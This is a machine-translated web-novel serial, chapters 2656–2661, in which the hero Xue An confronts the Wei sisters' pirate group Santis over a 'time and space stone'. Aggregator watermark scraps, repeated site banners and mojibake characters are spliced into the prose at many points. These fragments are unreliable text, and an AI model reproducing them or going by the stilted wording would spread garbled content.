    I like Invincible, starting from Dad of Xianzun, please collect it: () Invincible, starting from Dad of Xianzun, the update speed is the fastest.

 Chapter 2656： The former Zhongdu Shuangbi

    "Now you only understand a fur, so starting from today, you will have to recite the slogan of Santis every day until it is completely engraved into your soul and you can never forget it again! Understand? "


    "Understood!" There was another heart-piercing roar.


    The man smiled slightly, "Very well, next is the time for a personal speech, who would like to say a few words?"


    As soon as the voice fell, everyone in the audience rushed to raise their hands for fear that they would be ignored.


    The man pointed at a person in the front row casually.


    This man stood up with great excitement, his full-length face filled with infinite gratitude.


    "I used to be a butcher who killed people for a living. The long-term killing made me forget what awe is. I could even kill innocent children with no expression. Even though I was alive at that time, I was already alive. died!"


    "Later, I came here because of the wanted by the Federal Security Office. I admit that at the beginning I wanted to join Santis to escape the hunt, but after I really joined, I realized how outrageous I was before. !"


    "I used to be like a lamb in the mist. I didn''t know the meaning of life at all. It was not until I heard the tutor''s instruction that I deeply realized my mistakes and how vain I was before."


    Speaking of this, the man suddenly began to choke up, "Thanks to Santis, thanks to the mentor, for letting me understand all this and joining this warm family, now I just want to say, joining Santis, I don��t regret!"


    Wow!


    There was another wave of applause from the audience.


    The male mentor couldn''t help but nodded, "That''s right, at least you have deeply realized your mistakes. This is a good start! Remember, you must transform yourself from the soul level!"


    Sacrifice such as bxwx.co sacrifice such as. "Yes! Follow the tutor''s teachings!" the man said respectfully.


    "Not to follow my teachings, but to follow the teachings of the master, because everything you have learned comes from the teachings of the master, including me!"


    The male instructor raised his voice.


    "Yes! Follow the teachings of the master!"


    At this time, the male tutor also saw Du Yi standing at the door, and then said to the audience.


    "Continue to shout slogans, remember to shout with your soul!"


    "Friendly love and mutual help, grow together!"


    The audience began to shout again.


    Then the male tutor smiled and walked out the door, "Du Yi, why are you here? Shouldn''t it be busy time for farming now?"


    Du Yibi bowed his head respectfully, "I have seen Teacher Lu! I have something else to come here this time!"


    The tutor Lu waved his hand, and then looked at Qin Yu and the others who were dumbfounded beside Du Yi.


    "Is this your friend?"


    "Yes! This is the cousin I mentioned before!"


    Instructor Lu smiled slightly and reached out to Du Fan, "It''s nice to meet you, my name is Lu You!"


    Du Fan was a little stupid, until the opponent''s hand had been stretched out before he came to his senses, and then he hurriedly stretched out his hand to greet him.


    ���]��. Without him.


    It is true that the shock that Lu You just brought him was too strong.


    He had never thought of anyone who could use words to docile a group of bloodthirsty thugs.


    But looking at the people in the conference room who were sitting respectfully and shouting slogans with a pious face, he had to believe it again.


    "Du Yi often mentioned you before, why? Is Mr. Du interested in our Santis?" Lu You said with a smile.


    Du Fan nodded subconsciously.


    "Very well, curiosity is the first step and the most important step to understand everything. I believe that after you have a deep understanding of Santis'' philosophy, you will definitely fall in love here!"


    As he said, Lu You turned slightly and said with a smile: "The boss just sent me a letter, so that you can go upstairs to see him now!"


    Du Yi was overjoyed, "In that case, I will bring them to visit the teacher later!"


    Lu You raised his hand slightly and said nothing.


    Du Yi excitedly led everyone upstairs.


    Naturally, there was no need to take the elevator anymore this time, and when everyone stepped up the stairs, Yu Ran couldn''t help but said to Yu Ming in a low voice.


    "Brother, why do I think these people are weird?"


    "Is it weird? That''s right! Because this is clearly a means of distributing!" Yu Ming sighed lightly.


    "What means?" Yu Ran didn''t hear clearly, and wanted to continue to ask.


    Yu Ming shook his head and stopped talking nonsense, but quickly followed.


    When I arrived upstairs, the layout here was very different from what I had seen before.


    The first is flowers!


    Countless blooming flowers are placed in the entire corridor, but they are not crowded at all, but are arranged extremely harmoniously, giving people a unique sense of beauty.


    Du Yi''s complexion became solemn, and even his steps lightened a lot.


    Passing through the sea of ??flowers, everyone came to a door.


    Before knocking on the door, a calm voice came from inside.


    "come in!"


    With the voice, the door opened with a creak.


    Du Yi bowed his head and walked in, everyone following behind.


    Then everyone couldn''t help but widen their eyes.


    Because where is this room, it is clearly a small courtyard!


    Artificial sunlight poured down from the ceiling above the head to illuminate the entire small courtyard. The courtyard is full of flowers and plants, which is pleasing to the eye.


    But the most eye-catching thing is the large blue brick houses facing each other, because these are clearly the courtyard styles of northern China.


    In front of the room, there are two pomegranate trees planted in the middle of the courtyard. The trees are very tall. Under one of them is a big and simple goldfish bowl, and under the other is a stone. table.


    At this moment, there was a man sitting by the stone table, a slender woman sitting on a wheelchair.


    And behind her was a woman.


    The two women look similar, they are rare beauties.


    After everyone came in, the woman in the wheelchair didn''t even lift her head, and kept staring at the chessboard on the table in full concentration.


    Instead, the woman behind her raised her head and smiled at everyone.


    After seeing the two of them, An Qing shook her whole body and exclaimed in exclamation.


    "Is it you?"


    The standing woman pursed her lips and smiled, "Settling in, it''s been a long time since I saw you!"


    The expression on An Qing''s face changed rapidly, and she muttered to herself.


    "How is it possible! Haven''t you already been martyred with the Wei family?"


    At this moment, the woman who had been staring at the chessboard raised her head, and then gently swept the hair scattered around her ears and smiled faintly.


    "My sister and I did almost die at the time, but we were so fateful that we finally escaped from our lives!"


    At this moment, Yu Ran in the crowd suddenly thought of something, and couldn''t help but raised his hand and pointed, "I know who you two are! Aren''t you the sisters of the Wei family who were once known as Shuangbi in Zhongdu?"


    Mi He Mi. "One is called Wei Rulan, a genius girl, and the other is Wei Ruyan, a fairy of Baihua! Right?"


    I like Invincible, and please collect it from Dad of Xianzun: () Invincible, it is the fastest to update from Dad of Xianzun.

 Chapter 2657： Weis past

    That''s right!


    These two sisters are the very famous sisters in Zhongduwei''s family.


    In the timeline that has not been tampered with, the genius girl Wei Rulan first practiced chess and spiritual thoughts from Xue An, and then worshipped under the sect of Zhuge Zang, the fortune-teller, and achieved an immortal accomplishment.


    As for Wei Ruyan, she is also quite good, because she is naturally sensitive to the spirits of flowers, plants and trees, so she also has a considerable reputation.


    But in this timeline, the situation of the two sisters is quite miserable.


    Because their family has been annihilated in the process of the federal government to unify the world.


    Although China occupies an extremely important seat in the federal government, any reunification process is doomed to sacrifice and bloodshed.


    Because of differences in ideas and conflicts of interest, the Wei family strongly opposed China''s entry into the federal government.


    The result was that this family was completely wiped out overnight, and these **** methods also silenced all the wealthy members of the Central Capital Group.


    However, under the grief of the rabbit and the fox, many of the rich and powerful people in the capital have secretly called the Wei family''s action a martyrdom, and held private memorials.


    At that time, An Qing also participated, and because she had a very good relationship with the sisters Wei Ruyan and Wei Rulan, it was still a long time sad.


    But I didn''t expect that this pair of sisters, who had been regarded as martyrs by everyone, escaped from their lives and created such a big business.


    Just as An Qing was frightened and suspicious, Wei Rulan sighed slightly, "Shuangbi in China?"


    Then a look of sadness appeared on his face, "It''s been a long time since anyone mentioned this name!"


    As she said, she looked at Qin Yu and Du Fan and smiled slightly: "I really didn''t expect the Qin family''s eldest lady to take a strange risk and come to me in person. Old man Qin passed here several times in the past, and I I have seen him once, dare to ask how well the old man is now?"


    Qin Yu''s face was very ugly.


    Although she had never personally contacted this Wei Rulan, Qin Yu had already heard about her deeds.


    Knowing that this frail, sickly, poor girl has been extremely intelligent since she was a child, and when she grew up, she took charge of all the affairs inside and outside Wei''s home, which was resourceful.


    That''s why she was called a ghost girl.���bX*wX*.C*o��


    This can be seen from the fact that after she escaped from the earth, it took only a few years to create such a large pirate group. Sacrifice as suyingwang.net


    But the more so, the heavier Qin Yu''s mood became.


    Because dealing with such a character, no matter who it is, it will be very stressful.


    Especially what Qin Yu seeks is a crucial time and space stone!


    But she quickly sorted out the thoughts in her heart and took a deep breath and said: "Lao Wei is concerned, my grandpa is in good health!"


    Wei Rulan smiled slightly, and then his eyes floated to the solemn Yu Ming.


    "It can be so exciting for everyone, even if you invite Yu Jiadi to come here, I guess you are not as simple as coming to see the scenery. Right?"


    Everyone was silent.


    Then An Qing sighed lightly, "Rulan, since you are in charge of this Santis, then we don''t have to go around with you. That''s right, we do have another purpose here!"


    Wei Rulan said lightly: "Needless to say, I have guessed it, you should be here for this."


    With that, Wei Rulan stretched out her hand, and there was a stone as gentle as jade in her palm.


    Although this stone is small, it possesses a very strange charm, especially the dense blood lines on it, like an eye, staring at everyone coldly.


    Seeing this scene, everyone opened their eyes and held their breath.


    No one thought that the stone that everyone has been pursuing, and made the world''s powerful people crazy, would actually appear in front of them.


    Seeing the shock on everyone��s faces, Wei Rulan whispered softly: ��It��s such a thing, but it has caused countless people to go crazy. The original Wei family was slaughtered because of this. I didn��t expect it to be attracted again after so long. Countless coveted eyes."


    Hearing this, Wei Ruyan behind her eyes burst into tears.


    And everyone is even more shocked.


    An Qing spoke first: "Rulan, do you mean that the real reason for the destruction of Wei''s family was this stone?"


    "Yes!" Wei Rulan whispered, her tone very calm.


    "Because this stone was originally from the family of my Wei family, but somehow it was spotted by the federal government, which eventually led to the destruction of everyone in my family."


    An Qing then asked: "Then who instigated all this behind the scenes?"


    An Qing reacted quickly.


    Since someone in the federal government has long coveted this thing, it proves that this person knows the preciousness of the Time and Space Stone, and the possibility of having this thing in his hands will also be extremely great.


    As if seeing through An Qing''s thoughts, Wei Rulan shook her head and smiled bitterly, "It''s useless, after many inquiries later, I finally learned that it was not a person at all who initiated the matter, but the artificial intelligence star ring of the Federal Government!"


    "Starring?"


    The audience fell into silence again.


    Especially An Qing and Qin Yu, after looking at each other, both saw the disappointment in each other''s eyes. UU reading


    Because now that star ring has been wiped out by Xue An, and has since disappeared.


    Where can I find this thing?


    "I know what you are looking for for this thing. If you are not in a hurry, you can wait a few days with me, because I believe that young man will come soon." Wei Rulan said.


    "Aren''t you afraid?" An Qing couldn''t help asking.


    "Afraid? Why should I be afraid? Oh, do you mean this young man is amazingly powerful? Then I can tell you now, I am not afraid, on the contrary, I am very interested!"


    Speaking of this, Wei Rulan''s eyes burned with scorching brilliance, which was eye-catching.


    "I really want to know how such an existence appeared, and why there was no clue about him before. Of course, more importantly, I want to know how he eliminated the stellar rings on the earth."


    "So if you are not in a hurry, you can wait here!"


    In the end, after Qin Yu and others looked at each other, they finally made up their minds.


    Although they didn''t get the Time Stone this time, it''s good to be able to meet, not to mention that they also wanted to know why Xue An was so anxiously looking for the Time Stone.


    soon.


    Everyone left with Du Yi, and someone would arrange their accommodation.


    After they left, Wei Ruyan groaned for a long time, and stopped talking several times. Mi He Mi


    At this moment, Wei Rulan whispered: "Sister, don''t you think I''m doing this a bit risky?"


    Wei Ruyan nodded, "Yes, the origin of that young man is unknown, and he doesn''t even know whether he is an enemy or a friend. If he approaches rashly like this, I really don''t know whether it is a blessing or a curse."


    I like Invincible, starting from Dad of Xianzun, please collect it: () Invincible, starting from Dad of Xianzun, the update speed is the fastest.

 Chapter 2658： If he wants it, give it to him

    "It''s a blessing or a curse..." Wei Rulan smiled bitterly, "Sister, do you think there can be any greater disaster in our current situation?"


    Wei Ruyan couldn''t help being silent.


    "And don''t you have a feeling?"


    "How does it feel?"


    "It was after seeing this young man, even though he knew that he didn''t know each other, that kind of familiarity emerged spontaneously."


    Wei Ruyan looked shocked, "Yes, I do feel this way, I thought only myself had it!"


    "I have it too, and this feeling is still very strong, so I carefully studied everything since this person appeared for the first time, and found that he is by no means a bad person, on the contrary, he is extremely hostile to the federal government. This time he took action. The star ring that wiped out the earth is an example!"


    "So I think this person is an object that can be contacted and won. After all, it is impossible to deal with the star ring that has spread all over the heavens with this little power in our hands."


    "But I still think it''s a bit dangerous. After all, this person is inevitable for this time and space stone, and even hesitated to destroy the two giants in the second district. We..."


    Wei Ruyan wants to say that this person is so powerful, but with our little strength at hand, if the other party wants to be strong, how should we deal with it?


    But Wei Rulan just smiled faintly at this, "In fact, what you are worried about is not a problem at all, because if he wants this stone so much, don''t you just give it to him?"


    Wei Ruyan was shocked, "Give it to him?"


    "Yes, give it to him!"


    "But this stone is from our Wei family''s family. In order to prevent it from falling into the hands of outsiders, we paid a very heavy price. As a result, we are handing over like this now?" Wei Ruyan became excited.


    Wei Rulan had a calm face until Wei Ruyan had finished speaking.


    She said indifferently: "Sister, I understand what you mean, but have you ever thought about why the Carter family in the second district also owns the stone of time and space but is safe and sound, only our Wei family has suffered an extinction?"


    "That''s because the Carter family has already taken refuge in the federal government!"


    "There is this reason, but not all, because after careful observation and deduction later, I discovered that this stone of our Wei family is completely different from the time-space stone in the hands of the Carter family and others!"


    "First of all, the volume should be much smaller, and the aura contained on it should be different. This should be the reason why the Star Ring of the Federal Envoy will get this stone even if it destroys the Wei family!"


    Speaking of this, Wei Rulan''s complexion became very solemn, "It should be extremely critical!"


    Wei Ruyan looked suspicious, "But if that''s the case, why would you give it to that boy?"


    "Because I can''t find the secret in it, I have tried all kinds of methods over the years and I can''t help this stone. Since this young man named it by name, it means that he must have a way to use this thing. !"


    "I am a very practical person. Since this thing is just a waste in our hands, it is better to use it in exchange for its due value!"


    "What''s more, I didn''t give him this thing for nothing, but I want to use this thing to negotiate a good deal of cooperation with him!"


    Looking at the younger sister Zhizhu was holding, Wei Ruyan knew that it would be useless to say anything at this moment.


    As a sister who grew up together, she knows Wei Rulan''s temper very well.


    Knowing that this girl who looks weak and weak is actually very assertive.


    As long as she has made up her mind, it will be extremely difficult to change.���bX*W*X*.co��


    What''s more, what she said was not unreasonable, so Wei Ruyan couldn''t help but sigh.


    "Well, I listen to you, but the premise is to ensure your safety. After all, I am the only relative in this world!"


    Wei Rulan leaned her head lightly on her sister''s arm and whispered: "Don''t worry, why am I not like this?"


    Wei Ruyan is gone.


    As the number two person of Santis, she cannot sit in the center like Wei Rulan and give orders. On the contrary, many things require her to go around and solve it herself.


    This is how the two of their sisters have come over these years.


    Wei Rulan is responsible for overall planning, and Wei Ruyan is responsible for specific implementation.


    However, with Santis gradually getting on the right track, the workload of the two sisters has been greatly reduced.


    But even so, Wei Ruyan still had to work a lot.


    now.


    In this room that was reproduced one by one based on the courtyard where Wei Rulan lived, Wei Rulan was staring at the endgame on the stone table in a daze.


    This is the little leisure she has left in her daily life. Sometimes she will think about the chess game for a while to relax after she overuses her brain.


    At this moment, there was a very regular knock on the door, awakening Wei Rulan from his contemplation.


    "Come in!" Wei Rulan said lightly.


    The door was slowly pushed open, and then the tutor Lu You walked in quickly.


    "How is it?" Wei Rulan asked without raising her head.


    "Go back to the master, all arrangements have been made!"


    "Oh! What kind of unusual behavior do they have?"


    "No, everything is as usual. It''s just that the younger sister of the siblings whom I focused on seems to be complaining, but her brother is very calm."


    "Yeah! You did a good job, go on, and remember to keep watching!"


    "Yes!" Xiru xindingdianxsw.com Xiru


    Although he responded, Lu You did not back down.


    Wei Rulan raised her head, "What? Is there anything else?"


    "Master, do you have other plans to take in these people from the earth?"


    "Yes. Do you have an opinion?" Wei Rulan raised her eyebrows and asked in a deep voice.


    "The subordinates dare not, I just asked casually, but I heard that the earth is also very chaotic now, there are many people looking for a stone, and the newly born boy is bound to have this, so I think... ."


    "What do you think?" Wei Rulan said lightly, with a cold tone.


    "I don''t think we need to be afraid of this person!"


    "Huh?" Wei Rulan didn''t expect Lu You to say that at all, and she was taken aback.


    Lu You plucked up his courage and raised his head, and said in a deep voice.


    "I waited for acceptance by the master, and experienced several years of military training. I believe that my strength is not inferior to anyone. If this person really dares to come here to make trouble, or even have bad intentions!"


    Lu You''s face showed a bitter intent to kill, "I will definitely fight to the best of my abilities to ensure that the master and the second master are foolproof!"


    Wei Rulan looked at Lu You for a moment. Mi He Mi


    Lu You is not afraid of Wei Rulan''s gaze, his face is full of sincerity and enthusiasm.


    But soon, Wei Rulan looked away, ignoring Lu You''s hot gaze, and said lightly: "Okay, I get it, you go back!"


    Hearing this, the eagerness in Lu You''s eyes quickly dimmed, and finally he nodded silently, and then turned away.


    When he left, Wei Rulan gently rubbed her thin legs with a complex expression on her face.


    I like Invincible, starting from Dad of Xianzun, please collect it: () Invincible, starting from Dad of Xianzun, the update speed is the fastest.

 Chapter 2659： Meet conflict

    A ghost-like ship rushed out of the endless darkness. When it appeared under the stars, you could see a huge pot-shaped antenna installed at the stern of the ship.


    In the ship, Zhang Tianyou looked at the light spot on the monitoring screen very close with excitement.


    "The landing point for this jump is very precise, and the time and space stone should be nearby."


    Zhang Xiaoyu was grilling on the porthole and looked at the starry sky outside with wide eyes.


    "Where is this? Why does it feel so desolate here?"


    Zhang Tianyou looked up at the spatio-temporal coordinate instrument, and replied casually: "We are now at the edge of the center of the Milky Way galaxy. The nearest commercial road is light-years away from this, and it is naturally very desolate."


    "Will the empty stone appear in such a place at that time?" Hu Ye was also suspicious.


    "Are you doubting my skills?" Zhang Tianyou curled his lips, obviously a little dissatisfied.


    "Although this modified shipboard antenna is not as accurate as that on Mars, it will never go wrong with my technical blessing!"


    "Since it shows that the space-time stone is nearby, it can''t be wrong!"


    Hu Ye scratched his head, and said embarrassingly: "I don''t doubt it either, I just said it casually."


    Zhang Tianyou ignored him. Instead, he steered the ship and sailed towards the distant starry sky.


    But after a few stars, Hu Ye couldn''t help but let out another cry.


    "Hey, how come these stars are all artificially modified?" Hu Ye asked.


    Zhang Tianyou also saw something was wrong at this time, so he chose a star to approach.


    After I got closer, I found that the star had many traces of artificial excavation.


    "Strange, how can there be traces of artificial transformation in a place where birds don''t shit?" Hu Ye couldn''t help but mutter.


    Zhang Tianyou''s complexion gradually became gloomy, "There is a kind of person who chooses to live in a wild land!"


    "who?"


    "pirate!"


    Hearing this, Huye, Xiaosha and others couldn''t help showing their stunned expressions, and then Huye became excited.


    "If this is the case, then it makes sense. The Time Stone must be in the hands of this group of pirates, which means that we can now get the Time Stone smoothly as long as we find this group of pirates."


    Speaking of this, he was eager to try, "So what are we waiting for, hurry up and find the pirate."


    No one quarreled with him this time, and even Zhang Tianyou was excited about it, and then planned to steer the spacecraft to continue driving into the depths of the starry sky.


    But at this moment, Xue An, who had not said a word, suddenly said indifferently: "You don''t have to look for it, the other party is already here!"


    "Huh?" Xiru 99bxwx.com Xiru


    For a moment, Hu Ye was taken aback, and saw a huge fleet sailing out of the void in the distance.���bxwx.cO����


    A flag was hung on the first ship, embroidered with many flowers, but the flower branches were swords.


    "Santis! I should have thought of it, being able to survive in such a remote area is definitely not something ordinary pirate gangs can do!" Zhang Tianyou recognized this banner at a glance and couldn''t help but whisper.


    However, Hu Ye quickly calmed down, and then curled his lips, "I thought it was a powerful character, it turned out to be just a pirate with a bad weather! Old Xue, go up and kill these guys!"


    Xue An glanced at him, "Why don''t you go?"


    Hu Ye smiled, "Isn''t I insecure!"


    "So I have full confidence?"


    "Of course, just such a small pirate can still enter your magic eye. As long as you stomped your foot and swished a few swords, you could kill these guys!"


    Xue An ignored this indifferent guy, just looking at the fleet that was rapidly dispersing outside the porthole and pressing over in a rigorous formation.


    But in the blink of an eye, the fleet surrounded Xue An and others.


    At the same time, countless black-painted cannon holes protruded from the ship and aimed at Xue An and the others. Red glows loomed inside, and they had obviously been charged, just waiting to be fired.


    Looking at the astonishing number of blastholes, Huye''s complexion turned pale.


    "Old Xue, how''s it going? Are you sure now?"


    Xue An smiled, "What do you think?"


    "I don''t know, don''t go around in circles, I know it won''t help you, so you should hurry up!"


    "What''s the shot?"


    "Nonsense, of course it is to get rid of the guys on the opposite side!"


    "The other party didn''t take the initiative, why are you so murderous?"


    Hu Ye''s eyes widened and pointed at herself, "You said I''m murderous?"


    "Um!"


    "Old Xue, you don''t hurt your heart when you say this, usually..." Hu Ye was suddenly excited, but before he could finish the rest of the words, Xue An waved his hand and sealed his voice.


    I saw him dancing with emotions, but couldn''t even say a word.


    At this moment, Zhang Tianyou said solemnly: "The other party is applying for a communication connection!"


    "Come on, listen to what they have to say!" Xue Anyan said.


    Zhang Tianyou nodded and pressed the connect button.


    In an instant, a man''s voice came from the communicator.


    "Is Xue An the one coming?"


    The speaker is Lu You, the mentor of Santis.


    In fact, during the past few days, he has been leading the fleet cruising nearby.


    Just to wait for Xue An''s arrival. UU reading


    Although the master did not agree with him to do this, he still made this decision privately.


    The reason is simple. He doesn''t want his beloved master to suffer even a little bit of grievance.


    He is a very smart person, and he naturally knows that what this newly emerged boy in white wants is a stone of time and space that is regarded as a treasure by the master.


    It seems that the master is also ready to compromise.


    For this reason, Lu You would rather bear the guilt by himself and kill everything in the bud.


    Xue An smiled slightly, "Yes, I am Xue An!"


    There was a moment of silence in the communicator, and then Lu You said solemnly.


    "Very well, since you are willing to admit it, it will be easy. I now give you a choice to leave here immediately and dispel the delusion in your heart. In this way, I can let you leave safely, otherwise..."


    "Otherwise what?" Xue An said lightly.


    There was no response from the communicator, and at the same time, a ship on the opposite side suddenly emitted a ray of light.


    This ray of light slanted past the ship on which Xue An and others were riding, and directly bombarded the planet.


    Boom!


    After a loud noise, the planet was penetrated directly, and then quickly began to collapse and explode.


    "Did you see it? This is the consequence!" Lu You in the communicator said lightly.


    And the power of this blow also made everyone on the scene jump with eyelids.


    A planet can be destroyed in one blow, but there are countless ships and gun barrels on the opposite side!


    What if this is a volley of fire?


    Even Fox Ye, who had been emotional, calmed down at this time, and then looked at Xue An with questioning eyes. Mi He Mi


    I like Invincible, and please collect it from Dad of Xianzun: () Invincible, it is the fastest to update from Dad of Xianzun.

 Chapter 2660： Take control of the overall situation

    Should we take a step back for now?


    Xue An shook his head, and then said in a cold tone.


    "I also give you a choice now to retreat immediately within 30 seconds, otherwise I will also give you a lesson that will be unforgettable for your life!"


    Lu You on the communicator''s face sank after hearing this.


    Then there was a loud noise.


    You must know that there are many leaders of Santis who came out with him.


    These people are furious.


    "What a big tone! Dare to say such a big thing when you die!"


    "That''s right, dare to threaten us in the opposite direction at this time, it''s really a horrible thing in the world."


    "What are you still hesitating about, just bombard him!"


    In the roar, some people wanted to bomb Xue An with their hands.


    But at this moment, thirty seconds has come, and a sword beam illuminates the entire universe.


    Decrease bX*WX*.co ��. "Fuck, what''s that?"


    Someone exclaimed and wanted to avoid it.


    But it was too late, I saw this sword light smashing down the fleet with the momentum of slashing the sky and the Jedi.


    Wherever he went, the space burst into an overwhelming sound.


    Lu You''s pupils instantly shrank to the size of a needle tip, and those big and small bosses were even more panicked and desperate.


    Someone was struggling to death, turned the muzzle frantically at the last moment, pressed the launch button, and tried to block the sword.


    But the huge energy that can blast all the stars across the planet is as weak as a candle in the wind when facing this sword.


    Seeing that this fleet was about to be annihilated, at this moment, a shout spread throughout the battlefield.


    "Keep people under the sword!"


    The voice was cold, slightly anxious.


    Xue An seemed to have expected this shout, and smiled coldly, and the sword light was cut down.


    boom!


    There was a loud noise first, followed by successive explosions.


    The fleet that was still aggressive just now became a sea of ??flames.


    At the same time, the caller also rushed to the front.


    I saw a small private ship flying to the front, sitting on it were the sisters Wei Rulan and Wei Ruyan.


    It''s just that at this moment, the Wei Rulan, who has always been holding Zhizhu, was extremely pale, especially when he saw the soaring sea of ??fire, his whole body trembled slightly.


    "Mr. Xue, although my men offended you first, but you killed them all directly, it would be too unsympathetic!" Wei Rulan took a deep breath and said calmly.


    Facing her questioning, Xue An walked out of the ship like a stroll in a leisurely courtyard. After arriving in the void, a strange smile appeared on his face.


    "Miss Wei?"


    Sacrifice such as yunxuange.org sacrifice such as. "You actually know me?" Wei Rulan was surprised.


    "This is not surprising, after all, you were quite famous in China before!" Xue An said lightly, and then cast his eyes on the blazing fire.


    "As for the sentence you just questioned me... aren''t you just trying to see how strong my methods are? Are you satisfied now?"


    Wei Rulan understood in an instant, "So you knew it a long time ago!"


    Xue An nodded, "Since you created this Santis, the actions of this arbitrarily act are believed to be under your control, but you have been indulging in it. There should be only one purpose!"


    "Am I right?"


    Wei Rulan''s complexion became extremely ugly.


    "Yes, I admit that I really want to see your strength through them, but your sword is too much..."


    Wei Rulan suddenly didn''t know how to describe it.


    Originally things shouldn''t be like this, but as a result, the white-clothed boy seemed to know him very well, and directly overturned all his plans.


    Wei Rulan felt regretful when he thought of his many elite subordinates being buried in the flames with Lu You.


    What I regret is that I shouldn''t be smart and test Xue An.


    I hate that I shot too late and missed the opportunity.


    But for Xue An, she couldn''t even give birth to a trace of hatred.


    Because all of this is bluntly at my own fault.


    Wei Ruyan, who was standing behind her sister, was also uncomfortable.


    She actually had reservations about this decision of her sister.


    Because she always feels that this newly born boy is definitely not an ordinary person, and she should not be tempted.


    It''s just that Wei Rulan has always been arbitrary, and because of her intelligence and caution, she has never made mistakes.


    So she didn''t say anything.


    But I didn''t expect that just a difference in thought would lead to such evil results.


    At this moment, I saw Xue An with a smile, "What happened to my sword? I just taught them a lesson. Is this wrong?"


    Fox night on the ship behind shrugged, and then looked at Zhang Tianyou.


    He still couldn''t speak at this moment, but the meaning on his face couldn''t be more clear.


    Have you seen it? I said earlier that he was the most murderous one, and now that everyone is dead, he said it was just a lesson.


    Is this a lesson?


    This is clearly fatal!


    Zhang Tianyou didn''t say a word, but looked at the sea of ??flames very playfully.


    Wei Rulan also had the same doubts as Fox Ye, and said with a wry smile: "What lessons do people talk about when they are dead?"


    Xue An chuckled, "Who said that people are dead?"


    "Huh?" Wei Rulan was surprised. UU Reading www.uukanshu.cOM


    Fox Ye was even more emotional, and gestured with his arms and legs. That meant that you killed you and now you don''t admit it. Is this shameless?


    "Be quiet, Xue An didn''t lie!" Zhang Tianyou said suddenly.


    really.


    Seeing Xue An raised his hand and pointed, the blazing sea of ??fire quickly condensed into a fire dragon, rushing towards Xue An''s hand.


    In the blink of an eye, the flames dissipated, and after looking at the scene, except for the countless ship ruins, everyone including Lu You stood unharmed in the void, with shocked expressions on their faces.


    Wei Rulan''s eyes widened.


    Xue An clapped his hands gently, the fire light was hidden in his palm, and then said lightly: "I just taught them a little lesson, so I controlled the fire just now and didn''t hurt them."


    Wei Rulan''s eyes finally showed deep awe.


    She had never heard of such methods.


    But the facts were in front of her, and she couldn''t help but believe it.


    Then Xue An looked at Lu You, "Do you still want to give me any choice?"


    Lu You woke up from the shock, then took a deep look at Xue An, and finally lowered his head.


    He knew he was defeated.


    And the defeat was so miserable, it can even be said that the losing streak is not enough.


    Mi He Mi. Because the other party didn''t take his group seriously from beginning to end.


    It''s ridiculous that I thought about sharing the worries for the master.


    Just when he was extremely ashamed, Wei Rulan quickly adjusted his mentality and smiled.


    "Mr. Xue''s cultivation base is really shocking, and the little girl admires it, and I know the purpose of your coming here. Please go inside and say everything. After all, you still have some friends waiting for you inside!"


    I like Invincible, and please collect it from Dad of Xianzun: () Invincible, it is the fastest to update from Dad of Xianzun.

 Chapter 2661： 2 conditions

    Santis headquarters.


    When Xue An and his party returned here with Wei Rulan, Qin Yu, An Qing and others, who had been looking forward to it, couldn''t help being overjoyed.


    To be honest, they are very worried these days.


    Although An Qing is familiar with Wei Rulan, after all, so long has passed and many things have gone through. God knows if this former friend has changed.


    In case she just found an excuse to stabilize herself and others first, and then plot something wrong, then she would be too passive.


    fortunately.


    All these worries disappeared after seeing Xue An.


    "Mr. Xue!" Qin Yu and An Qing stepped forward to respectfully salute them.


    Xue An raised his eyebrows slightly, and said with a smile, "You are interested, the news is better than mine."


    The two were quite embarrassed because they really didn''t know how to respond to Xue An''s words.


    Originally, I wanted to take this opportunity to **** the Stone of Time and space, and then ask for credit in front of Xue An.


    In the end, nothing was accomplished, even relying on Xue An to save himself.


    However, Xue An ignored the embarrassment of the two of them. Instead, he turned his attention to Du Fan, Yu Ming Yu Ran and others not far away.


    Especially when his gaze passed over Yu Ming, Yu Ming was shocked, only to feel that all the hairs on his body were erected.


    That is the natural response of the human body after it perceives extreme danger.


    Especially for Yu Ming, who has refined kendo, this reaction is even stronger.


    His heart was shocked inexplicably.


    Although he had raised Xue An''s strength as much as possible before, he did not expect it to be beyond his imagination.


    Although it was just a simple glance, the implied supreme sword power still shocked Yu Ming.


    Just when his complexion changed, only Wei Rulan chuckled.


    "It seems that these people are indeed Mr. Xue''s friends, and it is worthwhile that they have been waiting for you for a long time!"


    Xue An was noncommittal, but said lightly: "Where is that thing?"


    Wei Rulan smiled, "Please follow me!"


    After that, Wei Ruyan pushed her wheelchair to the depths of the corridor.


    Xue An stepped forward. Just as Zhang Tianyou wanted to follow, he heard Wei Rulan''s voice.


    "Sorry, next I want to talk to Mr. Xue alone, so I invite you to sit here for a while."


    Decrease bxwx.Co. When the words fell, an invisible barrier blocked Zhang Tianyou and Hu Ye from continuing to move forward.


    Zhang Tianyou has nothing to do. The key is that Fox Ye is too anxious, but can''t speak, so his eyes are crimson to break through this barrier.


    At this moment, Xue An''s voice also came over.


    "Don''t worry, you guys wait here for a while, I''ll go and see and then return."


    As he spoke, Fox Ye''s sealed voice also unraveled.


    "Fuck, Old Xue, you are playing tricks on me again!"


    Hu Ye yelled furiously, but didn''t dare not listen to Xue An''s words, so she reluctantly stepped aside and waited.


    Across this long corridor, Xue An followed sister Wei Rulan to a secret room.


    The walls here are made of thick lead plates, which can isolate all interference from the outside world. At the same time, this secret room is so simple that there is nothing else except a table and a few chairs.


    Sacrifice such as 9bzw.com sacrifice such as. After entering it, the heavy door slowly closed behind him, and then Wei Ruyan took out an oil lamp from under the table and lit it.


    The dim candlelight pulsed in this secret room.


    The guard Rulan slowly said: "Mr. Xue, please sit down!"


    Xue An didn''t hesitate, and after sitting down straight, he said in a calm tone: "It seems that Miss Wei is well prepared."


    Wei Rulan smiled helplessly, "There is no way. Since Mr. Xue has killed all the clones of Starlink on the earth, he naturally understands the terrible artificial intelligence. It can be said that wherever power exists, it may be invaded, so for To be safe, it is better to discuss things here."


    Xue An nodded slightly, "Where is that thing?"


    This time Wei Rulan didn''t shirk off, and when he spread out his hands, the stone of time and space appeared.


    After seeing this, Xue An''s eyes condensed slightly, and then he raised his head to look at Xiang Wei Rulan.


    "What do you want?"


    Wei Rulan smiled sweetly, and then put the stone of time and space on her knees.


    "Mr. Xue is indeed a believer. With your strength, you are in this secret room. If you want to take it, my sister and I will not be able to stop it. I did not expect that Mr. Xue can still keep his promise. It is really precious."


    Xue An was noncommittal.


    He really didn''t think about taking this thing forcibly.


    First of all, he is not that kind of person, and secondly, he praised this Wei Rulan.


    After all, whether in the unaltered world or the current timeline, this girl has wisdom and perseverance beyond ordinary people.


